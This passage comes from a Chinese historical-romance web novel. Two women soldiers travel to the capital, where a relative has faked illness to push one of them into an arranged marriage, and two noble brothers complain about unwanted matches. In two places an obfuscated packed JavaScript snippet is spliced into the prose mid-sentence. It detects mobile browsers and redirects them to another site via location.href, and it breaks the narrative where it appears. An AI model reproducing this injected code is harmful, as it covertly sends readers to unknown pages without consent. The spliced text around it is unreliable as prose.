这些时日,她们姑侄两个一见面就要互呛,傅岚嫌顾曾是惹事精,顾曾嫌小姑姑太一本正经。 林霜在旁赶紧咳了两声:“阿曾,我没事。” 顾曾舒下一口气,嗔道:“都怪小姑姑的令来得突然,吓死我了。” 傅岚喝道:“你是不是皮又痒痒了?” 顾曾别过头:“傅将军每次见面不打我就不痛快,也不知道究竟是我皮痒还是傅将军的手痒。” 傅岚气得差点真喊人来揍她。 “将军先让我把话说完再打她,我绝对没意见。”林霜不得已劝起架来,望向顾曾正色道,“阿曾,我要回京城一趟。” 顾曾惶然睁大了眼:“为何?可是陛下的调令?” 林霜:“我母亲小舅的表侄女说她病重,如今万事心愿已了,就差见我一面。” 顾曾在心底算了算,嚯了一声,这亲戚可真够远房的,说道:“如今铸光军为众矢之的,为何偏偏这时来信?” 林霜叹了口气:“人有生老病死,岂能时时预料?况且,当年我阿娘这位小舅曾于她有大恩,叫我无论如何照拂,我不可坐视不理。” “所以阿姐要回京……”顾曾微微颔首,若有所思道,“这家人身世可清白?不会诓阿姐罢?” 傅岚在一旁重重拍了拍案头:“来信之人乃是鸿胪寺少卿关鼎的夫人,岂是信口开河的狂徒?” 顾曾挑了挑眉,心道:“有名有姓有头有脸的大人物啊,那更得多加小心了。” 她虽多有不舍,但孝义当前,也不能拦林霜,只拉起她滚烫的的双手,亲昵道:“阿姐在京城万事小心,切莫与人争锋……早点回来。” 林霜反手揪住她脸颊上的一块肉,向外用力扯了扯,笑道:“想什么呢?你如今是我小妹,自然要与我同去。” 顾曾愣住了,眼神在林霜和傅岚之间不停打转,心中惊喜交加,口中第一反应却是推辞:“我可不去,骁骑营那么多事等着我来处理,哪有功夫去京城寻欢作乐?” 虽然她心知肚明,偌大一个骁骑营,就算没了她也能活得好好的,说不定李潇潇等人还能松口气,不必再时时忧心被她拉出去做牛做马。 “是奔丧。”傅岚面无表情地纠正她,恨铁不成钢地不住叹气,“多大的人了,也不知成日里脑子都在想些什么,提到京城就只知玩乐?” 林霜对顾曾笑道:“这位远方表姨知晓我有个亲近的妹子,想要一并看看呢。” “噢。”顾曾不情愿地应了一声,心中抵触之意更盛,提到京城她就莫名的心烦意乱,总觉得那个大壳子里装着的没一个好东西。 可是眼下傅岚的意思竟是她非去不可,上将军大人都下令了,她再有怨也莫敢不从。 傅岚一脸再多看她一眼就要气死的模样,不住地摆手:“赶紧收拾东西跟你阿姐滚蛋,兴许还能赶上今日启程的那支驼队。” 顾曾拖着软绵绵的语调,应了句“是”。 眼见她要走出牙账,傅岚又突然嘱咐道:“在京城收收你那性子,别捅娄子,有事就找宸王殿下,但不可叫殿下和你阿姐为难。” 傅将军打起仗来气吞山河,唠叨起来和街边的老妈子也没什么太大分别。 顾曾怕她说下去就没完没了,赶紧应道:“是是是,属下遵命,属下在京城一定夹紧尾巴做人。” 傅岚抄起手边的一卷案牍就要砸她:“现在这嘴怎么那么多废话,跟谁学的?小时候好好的一个丫头片子长大了怎么成这副德行了?” 顾曾拉着林霜一溜烟跑了。 虽然她不喜长途跋涉,但是傅岚的唠叨倒是提醒她了——姜祐珣在京城呢。 羌寨一别,满打满算,她也有快两年没见过姜祐珣了,这些日子总听闻这位宸王殿下过得不太安稳,诸多不见血的明枪暗箭绕着他转,也许是该去亲眼看看他过得如何。 顾曾稍稍宽慰了些许,不知自己先前为何对于去京城之事如此抵触,可能是这些日子累得狠了,让她稍稍松懈点,她反倒不适应了。 乾安十七年的春末,她同骁骑营的手下交代完事情,携着两个轻便的行囊,就和林霜踏上了去往京城的途中。 驼铃清脆,欢快地响了一整条归京路。 同行的行商早就受够了西境的黄沙漫漫,走得迅捷无比,堪比大军拔营掠地。 顾曾却总嫌他们走得太快了些,快到不真切。 周围之景逐渐由黄沙转为青山又转为一望无际的草原,她竟生出隔世之感,心中的惘然与憧憬兀自周旋交织,第一次有了些剪不断理还乱的愁思来。 于她而言,京城是个熟悉的字眼,又是个太陌生的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512927|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她沉下心来,宽慰自己,她以前好歹也是个什么什么靖安郡主,如今是铸光一营之将军,正五品的官阶加身,此行又有林霜在她身旁陪伴,她不该有惧。 想到此处,她嗤的一笑,无奈地讥讽道:“再过不久就要二十的人了,怎么仍像个不通世事的稚子,真是越活越回去了。” 好在她一人的焦虑与茫然于整个驼队来说无足轻重,过了贺兰山,一行人转乘马队,更是疾驰如风。 顾曾便在一个寻常的初夏清晨第一次远眺了京城的轮廓,来到了这曾经万国来朝的盛世之邦。 晨曦给这座庞然大物渡上了一层旖旎的金边,雍容而绚烂,远处翠柳临风依依,一条蜿蜒寂静的河水默默流淌。 林霜复归故土,慨然一笑,险些落下泪来。她用力眨了两下眼,遥遥指着一处朱红,笑道:“喏,那就是‘灞桥’。” 年年柳色,灞陵伤别……西风残照,汉家陵阙。[1] 此情此景下,顾曾胸口突然一滞,脑中一闪而过了一个不可说的名字。那个人……如今也在这座城中吧。 随后,她在众目睽睽之下,毫无征兆地抄起水袋,当头泼了自己一脸。 林霜吓得不浅:“臭丫头你疯了?!” 顾曾敛眉不语,只觉自己可能的确是疯了。 在这当口,她也终于明白自己为何那么抵触来京城——她怕见到那个人。 准确来说,她是怕人家不想见到她。 若真是如此,那可就太伤人,她说不准还会当场哭鼻子。 为了不丢这么大的脸,倒不如安心在渭城待着,如此还能找找理由骗骗自己——不见是因为不能见,而非不想见。 当初她强行按捺压抑了自己的一厢情愿,两年也就这么过来了,如今一朝翻覆,前尘竟如潮水般涌上心头,叫她想停都停不下来。 京城当真有如云繁花么?蹴鞠、马毬、顶碗的波斯商人……这些也都能见到么?他说要请她吃酒,可还记得么? 顾曾愈想愈不服气,大漠里清傲的孤狼怎么可以这样输给京城里的花孔雀? 她用力敲了敲脑袋,只觉是自己得了癔症,抑或是在蝴蝶谷不慎中了什么蛊,打算入了京寻个好大夫仔细医治。 林霜早就托商队的人提前往城里传了讯,商队行至城门口,关家的小厮已经驾着犊车在此恭候许久了。 二人跟着小厮风尘仆仆地进了城,没来得及见证京城的繁华,便随着犊车左拐右拐,拐进了亲仁坊一家朱甍碧瓦的高门大户里。 这家张灯结彩的,门口的小丫鬟和稚童踢毽子的嬉笑声吵得人头疼,根本不像是主母夫人得了重病,倒像是马上要宴请宾朋。 林霜先下了车,几个衣香鬓影的侍女立刻围了上来。 为首的瞥了她一眼,略微福了福身:“小人奉我家夫人之命在此等候,敢问你家娘子呢?” 顾曾没忍住,“噗嗤”一笑——感情对面把她俩当丫鬟了。她双手抱在胸前,扬了扬下巴:“车上没别人,你甭看了。” “……如此,是小人冒犯了。”那侍女脸色一阵红白,神情说不出的尴尬嫌恶,“夫人要见二位娘子,跟我来。” 她优雅地转过身去,聘聘婷婷地走在前方,顾曾听见她小声嘟囔了一句“真是穷乡僻壤来的蛮人”。 “阿姐,”顾曾附在林霜耳侧悄声道,“你知道我一般很识礼得体的,但我能踢她一脚吗?” 林霜白她一眼:“我想先给你一脚。” 其实林霜也早就不痛快了,关大人怎么说也是鸿胪寺少卿,待客之道居然不是先给客人奉茶、带客人休憩,反倒直接领着两个千里迢迢赶路而来的人去拜见她们夫人。 她堂堂铸光军武将,乃是与她家老爷平级的正四品大员,就算是嫌麻烦把这次出行整得精简了一点……那也不该受到如此冷落! 顾曾和她的想法如出一辙,这关家人绝对没安好心。 侍女带着二人于绣锦园林中穿过,路过的小厮和丫鬟看他二人的神情都像是在看西域进贡的猞猁狲,晌久,总算来到了关家夫人所在的后院。 侍女口中唤了句“夫人”,轻轻推开了房门。 35.空自愁(一) 门开的那一刹,香气袭面,一闻便知是自花中萃取而出,甜丝丝的,撩拨得人心痒痒。 屋子里满满当当站了不少人,除了候命的婢女外,另有两个贵女正在饮茶,一个年纪大些,脸上纹路明显,想来就是那装病装得不亦乐乎的关夫人,另外那位是个尚且年轻的小姑娘,怯生生、水灵灵的,一对眸子像两颗诱人的葡萄。 关夫人抬眼看到二人,眼睛登时一亮,眼眶于此时也恰到好处地红了。 她拭去眼角一滴泪,上前来半拉不拉地拂过顾曾指尖,哽咽道:“我的小林表甥女,快来让表姨母好好看看。姨母想你想得紧,都害出病来了,前两日听闻你这就来了,你说神不神,姨母这病立即就好起来了!” 好的,果然是装病将她二人骗来的。 顾曾皮笑肉不笑地对林霜眨眨眼:“阿姐,关夫人问你神不神呢?” 关夫人怔了一瞬,这才恍悟自己闹了笑话,帕子捂脸打了个哈哈:“你瞧我这眼神,大病初愈,人真是愈发不中用了。小林表甥女,快让表姨母好好看看你。” 她转向林霜,绡纱帕子掠过之处,一缕幽柔的暗香浮动。 顾曾倏地想道:“原来就这是为何京城的小娘子们喜欢朝心仪的公子丢手帕,如此精致的私密之物,也难怪程容与那种游手好闲的痴汉见了会犯迷糊。” 啧,怎么这也能想到这家伙。 这样下去可不成,得赶紧找个医师瞅瞅。 另一边,不善言辞的林霜正被关夫人单方面拉着亲昵地唠家常。 虽然明知此人别有用心,可恍然见到这素昧平生的亲人,林霜心里只有百味杂陈。 顾曾在旁看着,神色也怔忪了一瞬,她只道阿姐拥有一副铁水铸成的心肠,原来她也会思念爹娘么…… 闲聊了许久,几人这才落座。林霜虽然在京城长到及笄之年,但在大漠待了太久,礼节上反倒比顾曾还要拘谨。 顾曾更是不言不语,只眼观鼻鼻观心地装作乖巧,听热情过头的关夫人喋喋不休。 关夫人说得口干舌燥,终于记得喝了一口茶,指着自己身侧那小姑娘笑道:“这是小女‘风遥’,刚过十八,尚未婚配。” 顾曾实在不理解她为何一定要着重介绍女儿的婚配情况,只默默心念着这小姑娘的名字:“风遥……风遥,怎么如此耳熟?” 关风遥瘪了瘪嘴,甚是不悦:“阿娘你怎得什么都和外人说?女儿的面子便不是面子么?” 关夫人嗔她一眼:“谁叫你自己不争气,人家程二瞧不上你,你为此寻死觅活的时候,可想过面子的事?再说了……”她面容缓和下来,笑容逐渐亲切,“你林姊姊和……” 顾曾感受到她望来的眼神,颔首敛衽道:“小女顾曾,永昌三十五年七月初七生,今年二十。” “……你林姊姊和顾姊姊又不是外人。”关夫人满意地点头,笑眯眯地把话说完。 侍女呈奉上几盏精致的吃食,关夫人领着几人围桌趺坐,又唠了好一阵家常里短,还不忘给林霜生安硬套了许多幼年的奇闻轶事,整得林霜更是窘迫,有心陪笑都笑不出来。 末了,关夫人终于说累了,抿下一口果酒,白净如玉的手落在林霜面前,试探道:“小霜呀……” 她语调又麻又酥,林霜终于受不住了,腾地起身,正色道:“既然表姨母身体见安,又无甚要事,我与舍妹便不叨扰了,我们打算择日便回渭城。” “小霜你莫急,听姨母把话说完。”关夫人安抚她两句,慢吞吞地又含了口果脯,笑盈盈道,“你年纪也不小了罢?” 顾曾被呛了一口,敢情这位夫人连阿姐年龄几何都不清楚。 关夫人的确不清楚林霜的底细,她只听说自己有个在渭城的远房表甥女,无父无母,孤苦无依,这才费尽心机托人送信,将人连哄带骗劝到京城。 如今人既然来了,又怎能轻易放她离开? 林霜在铸光军中是个有名的火爆脾气,顾曾觉得她能忍到现在已然是给足了她母亲那位小舅的面子。 而此刻,林将军眉宇间已有隐隐怒气浮现,一旦她熬不住了,恐怕东市第二天就会有《黑无常大闹关府内宅》之类的话本流出。 好在顾曾这时候想到了她那千叮咛万嘱咐的小姑姑,接过话匣:“我阿姐已过而立之年,夫人有何见解?” 这下轮到关夫人被呛到,一口果酒竟直截喷了出来。 她第一眼看到林霜就觉得她不年轻,但是毕竟人在渭城,镇日风吹日晒,看着比京城人沧桑些也正常,可她属实没料到,林霜是实打实的三十二岁了。 林霜倏地也有些感慨,她十五岁随父母入伍西北,十七岁父母双亡,十八岁就拖家带口领着个小顾曾相依为命,兢兢业业戍守边疆无一日敢懈怠。 原来……已经十七年了么? 她也有过风华正茂,但那不在醉人的丝竹管弦中,也不在温暖和煦的春风里,而在凛风吹拂过的那每一寸燃烧战火的大地上。 她同她誓死追随的傅岚将军一样,早已被战争剥夺一切,也将终此一生斩断爱恨情仇的牵挂。 林霜有些出神:不对,此话不允,自己也是有牵挂的。 她转头看向顾曾,可这被她打小护在身后的小麻烦精早就长成了比她还有主意的大人。 关夫人望进林霜眉目不惊的一张清秀面庞,无声地吞了吞口水,准备好的一肚子话突然便说不出来了,只暗叹可惜。 关家与人有姻亲,她夫妇二人眼高于顶,决计不肯将自家这乖巧可人的女儿嫁过去,然而思来想去,此人与关家也的确算是门当户对…… 良缘易结,梁子却不能结,关夫人与关大人筹谋半天,这才煞费苦心地将林霜哄来,若能将这亲事说成,对关家和林霜都有好处。 坏就坏在,在京城,根本不会有人愿意娶一个三十多、又闷又冷的女人,即便她的确貌美。 关风遥见母亲失神,轻咳两声,飞快地对她使了个眼色。关夫人登时会意,如获至宝地看向顾曾,讨好笑道:“小顾娘子,如今还未曾议亲罢?” 顾曾万万没想到自己也能成为关夫人的祸害对象,端着茶盏的手一抖,澄香的茶汤泼出一小半。 林霜本就一肚子感慨,听了这话顿时恼了。 她十八岁一无所有时都没让人欺负过她妹妹,而今官做大了,还能叫人把主意打到妹妹身上,那可比敌军在汉云关下叫阵三天三夜还来得更为挑衅。 她重重地将手中瓷盏拍到案几上,茶座“咔嚓”一声碎成了几瓣。关风遥吓得霎时花容失色,嚎啕大哭起来。 林霜不为所动,冷冷看了关夫人一眼:“我二人来往京城所费银两便不教表姨母破费了,以后也莫要再往来。阿曾,走,回家。” 关夫人搂住自己被吓哭的女儿,伸出盈盈一指,厉声喝道:“把门给我关上,不许教她出去!” 这几个人怎么拦得住看惯了刀光剑影的林霜将军,她打算将门踹开。 本来一条腿都抬了起来,顾曾却附耳道:“走之前小姑姑特意嘱咐什么阿姐忘了么?如今正是铸光的多事之秋,她常年不在京城,背后指不定要受外人多少编排,咱们少给她惹事,先听听这夫人怎么说。” 自从走了一趟阆州,她也算见识到了这帮膏粱庸人能有多厚颜无耻、颠倒黑白。若非不得已,还是不要树敌。 不就是要给她相看夫君么,看就看,人家还未必瞧得上她呢。 林霜微黑的面庞涨成了一团绛紫,勉力克制住了:“我耐心有限,表姨母有话快讲。” 关夫人安抚了两句犹在垂泪的关风遥,压下几口恶火,仍然不失礼节地微笑道:“表甥女,你这脾气可得改改,自己一人不打紧,把你这妹子带坏了可怎么办?难不成你将来想让她像你一样形影单只、无依无靠?” 这下轮到顾曾怒了:“谁说我阿姐无依无靠的?” 她阿姐的背后明明有整个铸光军。 林霜攥紧她的手腕,一时无言,虽然她并不觉得自己可怜,但关夫人仿佛看穿了她的心坎,两三句话便拿捏住了她的软肋。 她林霜愿意一辈子留在渭城,不代表顾曾——抑或是傅昙上将军的女儿——也该困于那一方之隅。 阿曾该有自己的路要走,她无权替她决定。 见她神色缓和不少,关夫人就势道:“表甥女你想想,关氏与我所出的淮南叶氏是何等钟鸣鼎食之家,相中的人岂有不好之理?” 林霜冷笑:“那表姨母怎么不把自己女儿嫁去,偏来打我家阿曾的主意?” 关夫人半嗔半哄地看了一眼关风遥:“还不都是因为这死妮子眷恋旁人,害了相思疾,这事情好几年前就传遍了整个京城,我哪有那个脸面求别的人再来娶她?” 林霜短促地笑了一声:“所以关小娘子是非程二公子不嫁了?” 关风遥面色惨白,神思戚戚,并不应话。 “人家二公子今时今日不放她入眼,日后更是瞧不上她。”关夫人叹了口气,说出的话竟带了些不多的的诚心,“我只盼再过两年,这风头过去,再将她托付给个好人家,我此生也便无憾了。” 关风遥终于放声大哭:“阿娘,您别说了。都是女儿的错,给您蒙羞了。” “傻孩子,这都是咱们的命啊。”关夫人顷刻泣不成声,母女二人和左右服侍的几个婢女哭成一团,场面一时混乱不堪。 “………………” 房间里好不鸡飞狗跳,始作俑者顾曾与林霜相觑无言,不知如何是好。 众人哭了好一会,顾曾捏了捏眉心,踱至泪眼汪汪的关夫人面前:“打住,您就直说吧,对方是何人?” 关夫人拭去眼角的泪水,握住她的手,款款微笑道:“姨母绝对是为你好,此人是陛下身边的千牛备身,姓‘唐’名‘鸿雪’,青年才俊,英姿高爽,放眼全京城都是有名的人中龙凤。” 哦,那你女儿还喜欢程容与那个混账玩意,是眼瞎了么? 顾曾不动声色地抬了抬唇角:“行,那就见见罢。” 关风遥低声嘟囔了一句:“‘见见’?你当人家唐大人是待召丫鬟,想见就能见的么?” 林霜轻飘飘朝她递去一个杀气腾腾的眼神,关风遥霎时被吓得五官皱成一团。 关夫人生怕她又要哭,索性长话短说:“二位表甥女先在府中将歇一晚,你们来得也巧,德翎郡主恰巧约了风遥明日去观马毬赛,小顾娘子不妨一同去瞧瞧。” 顾曾正打算寻个理由出府去找姜祐珣,眼下机会自己来了,立即应道:“极好不过。” 林霜自背后拉住她:“阿曾……” 顾曾对她摇摇头,使了一番眼色。林霜知道她一向喜欢胡来,但不是不分场合地胡来,便也不再干预。 二人便在关夫人的安排下住进了关家的一方偏院里,还有两个侍女相随,不过林霜怕把人家吓坏,便把两个唯唯诺诺的小姑娘留在了外院。 偏院虽小,景致倒也不差,有高天闲云,月明修竹花如雪。 夜晚就寝时,二人挤在一张床上。 顾曾虽然早就困得上下眼皮打架,但林霜也不知吃错了什么,平时沾枕头就着的一个人,今晚在一旁翻来覆去地折腾、不住地喟叹。 顾曾实在受不住了,便一把抱住林霜的胳膊摇了摇:“阿姐,你精力也太盛,消停消停罢。” 林霜遂不动身了。半梦半醒中,顾曾听到她幽幽叹了口气,几不可闻道:“姐姐对不住你。” 顾曾便倚着她的肩,手指在她掌心轻轻叩着,迷迷糊糊间也不忘笑她阿姐“矫情”,道:“哪里的话,不怨阿姐,是我想见宸王殿下才执意留下。” 林霜也跟着笑了,肩膀微微耸动,左手不自禁地抚摸着她的头:“总之阿姐一直在。” 她思绪难定,一直在想十四年前的事情。 宸王刚把顾曾送到她身边时,她才十八岁,自己也还是个小姑娘,却要被迫给人当姐又当娘。 她总是不知该如何照顾这小姑娘,怕自己对她太放纵,若是叫她长歪了会有辱傅家门楣,又怕自己太严厉,会折了这朵娇花。 总之怎样都不如意。 再加上这小丫头片子脾气犟得很,磕了碰了不说话,夜夜梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530261|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魇也不吭声,始终和她保持着适当的疏离。 林霜便也不管她,直至有一次,她刚下战场,正碰上顾曾伤口化脓发高烧,林霜方知,原来这倔强的小姑娘在梦魇时也会哭着喊阿娘…… 她那一瞬不知怎的,霎时便泪流满面,连身上的伤都没来得及医治,只守在床前轻轻拍着小顾曾的头,在那一夜重复了无数遍:“别怕,虽然阿娘不在,但阿姐在,阿姐一直在。” 阿姐这一在,便陪了她十四年。 虽然自顾曾长大后她二人已鲜少这般亲密,但不论何时,只要她凑过来,林霜一定会像哄她小时候一样拍拍她——这习惯已经刻骨铭心地烙进了她的一生。 林霜望着虚空,自言自语道:“阿姐不是不愿你成家,只是这心仪之人何其难寻,我只是怕叶氏给你说的人会不合你心意。你一向懂事,若是为了怕给我惹麻烦就应了下来,你要阿姐愧疚死么?再者说,她家女儿有喜欢的人,我家阿曾便不能有么?凭什么要拣她挑剩下的?” 顾曾困得意识不清,附和道:“就是,我也有心仪之人的,凭什么要挑她剩下的?” 林霜哈哈大笑:“你天天在我身边,什么德行我能不知道么?你若真能有个心仪的人我倒要好好谢谢普天神佛。” 她最怕的不是顾曾跟着她在渭城历经磨难,她只怕她心中无牵无挂,对尘世毫无眷恋。 林霜叹了口气,思绪难定:真到九死一生之境时,只有强烈的生念才能让人有毅力活下去,可阿曾有么? 这孩子命苦,爹娘早早没了,同龄小娘子该享的福她一天都没享过,若是哪天她这个姐姐也不在了,阿曾对这世间还能有何牵挂么? 她生怕顾曾哪天不想活就真去死了,尤其是,她不想看着她走上傅昙那条“万念俱灰,自刎而死”的老路。 在林霜一下接一下的拍打哄睡中,顾曾没应声,终于彻底睡着了,而林霜依旧双眼炯炯地望着架子床四周微微拂动的帷幔,毫无倦意。 京城的初夏夜晚竟如此燥热,闷得她几乎喘不上气来。 她神思悠远,犹在沉吟:“阿曾她……有想要为之而活的人么?” 福至心灵,她倏地一愕,心想:“阿曾心仪的不会是宸王殿下吧?” 她把顾曾架在她脖子上的胳膊甩到一边,猛然坐起了身,开始在房间里来回踱步。 这想法一旦生出,便怎么想都觉得有理,甚至太有理了——宸王俊美无俦,风头正盛,顾曾又自幼同他亲近,她不心仪他都说不过去! 这样胡思乱想,比顾氏木头还要实心的林氏木头更加睡不着觉了。 姜祐珣是一方亲王,定是眼高于顶,能不能看上她家阿曾还是个问题。就算二人当真两情相悦,如今身份地位相差有如云泥,怎堪相配?可若是叫皇帝知晓了阿曾的真实身份,又怎会允诺两个将军结亲…… 顾曾浅浅的喘息声悄悄传来,没心没肺睡得很沉,林霜就这样自己折腾了大半夜。 在渭城待得太久,二人翌日起得比鸡还早,星月高悬,两个侍女犹在打瞌睡。 顾曾终于逮住林霜有空的时候,缠着要她再教自己几套刀法。 林霜笑她“贪多嚼不烂”,却拾起一支枯枝给她演示了起来。顾曾看得入神,没多久就全然忘记了今日要随关家小娘子去看打马毬的事。 待到她已经学个差不离的时候,关夫人才领着盛装打扮的关风遥堪堪赶来。 环顾四周,院中甚至没见到两个侍女的身影,关夫人气得眼睛不是眼睛鼻子不是鼻子,推开偏房的门,才发现那两个侍女竟还在呼呼大睡,当即命人把两人拖了下去。 关风遥斜乜了一眼院中的林霜二人,小声道:“阿娘偏要多此一举么?那唐鸿雪人虽蠢笨,倒也不至于相中这般粗俗的女子罢。依我看,带她去也是白跑一趟。” “你懂什么?”关夫人看向顾曾,淡淡道,“此女俏丽天成,稍加打扮便是百中无一的美人,又有关叶两家为她备嫁妆,俘获一个千牛备军还不是绰绰有余。” 听完这话,关风遥眼睛一转,笑道:“那要是程二公子相中了她,我是不是就不用嫁他了?” 关夫人瞪她一眼,满脸的恨铁不成钢:“你呀你,你几时见那程彧正眼瞧过别人?就算是琳琅殿下,缠他久了他照样不耐烦,一个渭城来的田舍姑再如何貌美那也是穷乡僻壤出身,如何能入他的眼?你少动歪心思,给我安心装好你的相思病。” 关风遥蹙眉道:“京城里钟情程容与的人那么多,可是像我这种闹得沸沸扬扬的,怕是只有我一人。女儿这几年根本没脸见人,羞都要羞死了,这日子几时才是个头?” 关夫人狠命戳了戳她的额头:“舍不得孩子套不得狼,阿娘也是为你将来做打算。别皱眉了,你阿爹已前往程家说项,你无需多虑。程二这些年放浪形骸,行止不羁,年逾弱冠仍未娶,你又这般‘中意’他,实在是他难得的良配。 “再者,你阿爹与程大人同朝为官,又都供职鸿胪寺,你二人结亲更是两全之美。我听闻程大人对他家老二甚是严苛,凡有令下他莫敢不从。待纳采问名礼成,三书六聘过堂,他程二再不愿意也容不得他置喙。” 关风遥一双美目空洞洞的,幽幽叹了口气:“以这种方式教他娶我,就算嫁过去,怕也是难熬。” 关夫人替她理了理发髻,语气中也有不忍:“阿娘也是为了你好,放眼望去,这京城里的公子哥们哪个不荒唐?程家好歹家风蔚然,程二若娶你为妻,至少会以礼相待。 “如今坊间都在传闻,说陛下已有意将琳琅殿下许配给他。虽然殿下尚且年幼,但捕风捉影之事传得多了也能成真,你与他的事还是愈早成愈好。” 思来想去,她犹觉得不放心,又道:“今日皇后娘娘在兴庆宫观毬设宴,若有机会,阿娘替你在程家世子面前说道说道。” 若说程二在这世上最听谁的话,众所周知,不是他爹娘,也非当今陛下,而是他那个兄长——程彣。 若程彣肯从中斡旋,这桩婚事说不准便有希望。 关风遥却不怎么能提起兴趣,恹恹道:“多谢阿娘。” 36.空自愁(二) 京城,安仁坊,一家再寻常不过的朱门高户中,有一所僻静寂寥的小院。 院中几乎无花草,只种了几株桂树,还未到开花时节,生得青葱茂密,枝叶参天。 小院中有一小佛堂,内供上百盏长明灯,映得堂内观世音菩萨的金身明明灭灭。佛堂前铺有石阶,上置苇草所编香蒲,一白衣男子正半死不活地跪在蒲团上。 初夏时节的日头已有毒烈之势,这男子却丝毫不觉,只一动不动地跪着。他并未束冠,满头乌丝披散凌乱地落在肩头,随着他萎顿的身形直坠到地上。 “成何体统!” 小院门口传来一声夹着怒意的清喝,一面容俊逸的男子掀袍踏入。 守在院门口的几个小厮登时跪了一地:“世子……” 程彣上前,把院中跪着的那人轻轻扶起,叹气道:“端阳天如此酷暑,他们几个倒是寻好了阴凉地,就看你在此处跪着,简直不像话。” 那白衣男子拭去额间汗水,扬起惨白如纸的一张脸,眉梢却满是藏不住的秀气,俊俏到堪称漂亮——正是混世魔王程二公子。 他冷冷道:“不关他们事,是父亲命我在此罚跪,大哥你若怨也该去怨父亲。” 程彣软绵绵地弹他额头一下,蔼然笑道:“行了你,又恁任性。我这不是回来了么,没人能罚你了,快起来。” 他扶着程彧起身,二人不顾形象地瘫坐在佛堂门口的石阶上,留给堂内的观音娘娘两具萧然的背影。 程彧在石阶上半躺了一会儿,缓过几分精神来,对门口候着的小厮呼哨了一声:“你们几个,程大人来了的话吱一声。” 在程家,只有一个人能被称为“程大人”,就是他爹。 本来这些小厮是帮程老爷看着二公子罚跪的,可是二公子现在有世子给他撑腰,他们欺负不得了。 在程彣的淫威下,小厮们哭丧着脸唯唯诺诺应了句“是”,不得已变成了给他二人望风的帮凶。 程彧戏谑地勾了勾唇角,看向程彣:“哥,穿得这么倜傥风流,陛下今日又要召你进宫陪哪位殿下?” 程彣正穿了身绣金丝的绛青色长袍,腰别白玉带,容止娴雅之极。 “臭小子,你该不会是忘了罢?”程彣点了点他的额头,笑道,“今日要同西域使团的人打马毬,我得去赴宴。话说回来,陛下前几日不是点名要你去打么,还不赶紧去更衣?” 程彧两眼一翻,双手架在脑后,又躺下了。 顺便回了俩字:不去。 程彣笑笑:“你近日可是愈发不听管教了,父亲又为何罚你?” 程彧这下连白眼都懒得翻了,拖长了音干涩道:“因为我又不学无术——拈花惹草——给他老人家和程家蒙羞了呗。” 程彣了然一笑,却又“咦”了一声:“你最近不是每逢陛下传唤才出家门么?什么时候又惹上了新的小娘子?” 程彧冷笑:“什么‘新的’,还是那个关风遥!小爷我见过她么就非我不嫁? “她爹说项间都找上门来了,天花乱坠把我贬得像是天下第一薄情郎,还说坊间流传了许多我与他家女儿的话本,都是些淫词艳曲,污了他女儿的名声,我若不娶她,便是无情无心寡恩负义。 “哥,我又不认识他家女儿,怎么就到了非娶不可的地步了?你说我冤不冤啊?我怎得如此倒霉?!” 程彣将手搭在他肩头,只感到他浑身都在冒热气,想来真是气得不浅,轻拍他两下:“好啦好啦,容与不气。” 程彧拨开他的手:“程怀瑾你少拿我当小孩哄,我这么倒霉,跟你也脱不了干系。” 程彣笑道:“左右你也就是受受气,父亲又不会真同意这门亲事,将来等陛下把六殿下指给你,看谁还……” “那更不行了!”程彧听完这话脸都青了,“你听谁说的这谣言?小爷这就派人去打断他的腿。” 程彣思忖道:“可所有人都在这么说……说陛下对你荣宠有加,定视你为心仪的驸马人选。而今二殿下不问红尘,只有六殿下年龄相符,又与你玩得那般亲密,便只能是她了。” “扯淡,全是扯淡。”程彧神色笃定,“陛下不可能让我娶她的,再者说,我顶多拿她当妹妹,对她从来就没有非分之想,怎么娶?” 程彣叹了口气:“可是容与,不用我说你也明白罢,你一日不定亲,程家一日便不会安宁,早晚会有门槛都被踏破的一天。放眼京城,像你这般年纪的有几个没定下婚事?” “程怀瑾你今天怎得这么婆婆妈妈?”程彧眉梢一抬,满脸的不耐烦,“你不就没定亲?你还比我大了整整五岁,娘亲上次来时愁得都生白发了,你个大孝子看不见?” 程彣佯装着要揍他,扬手间手指屈于唇前咳了两声,斟酌道:“我命格太硬,克妻……不到万不得已不可祸害旁人。” 他自幼便与韦侍中家的独女定了亲,待到小姑娘长大快过门时,突然得了场暴病殁了,程彣以正妻以礼相待,为她素衣守制三年。 待到丧期一过,说媒人立刻蜂拥而至,此时却有一云游高人给他卜了一卦,说他“金刚刚猛,易折于情”、“五行偏旺,生克之势过盛”,韦娘子就是被他活活克死的。 总之,吓跑了一群对他有意的小娘子。 好在程家这不是还有个老二呢嘛。 二公子长得好,又受陛下喜欢,人虽然是个浑不吝,但是瘦死的骆驼比马大,有陛下和程家给他兜底,差不到哪里去。 自此,京城第一抢手货由程家世子变成了程家二公子,程彧的生活便鸡飞狗跳、永无安宁起来。 念及此处,程彧幽幽剜了眼他这个老光棍兄长:“程怀瑾你知道么,不知道我就再告诉你一遍,我恨死你了!!” 程彣左耳进右耳出,莞尔一笑:“恨我没用,反正你总是要娶的。” 他顿了一顿,犹豫着开口,“容与,别傻了,不论你怎么有意拖延,也……不可能的。既如此,何不试着挑个合眼缘的?” “哈……”程彧本想笑着应对,却不受控制的喉间一紧。 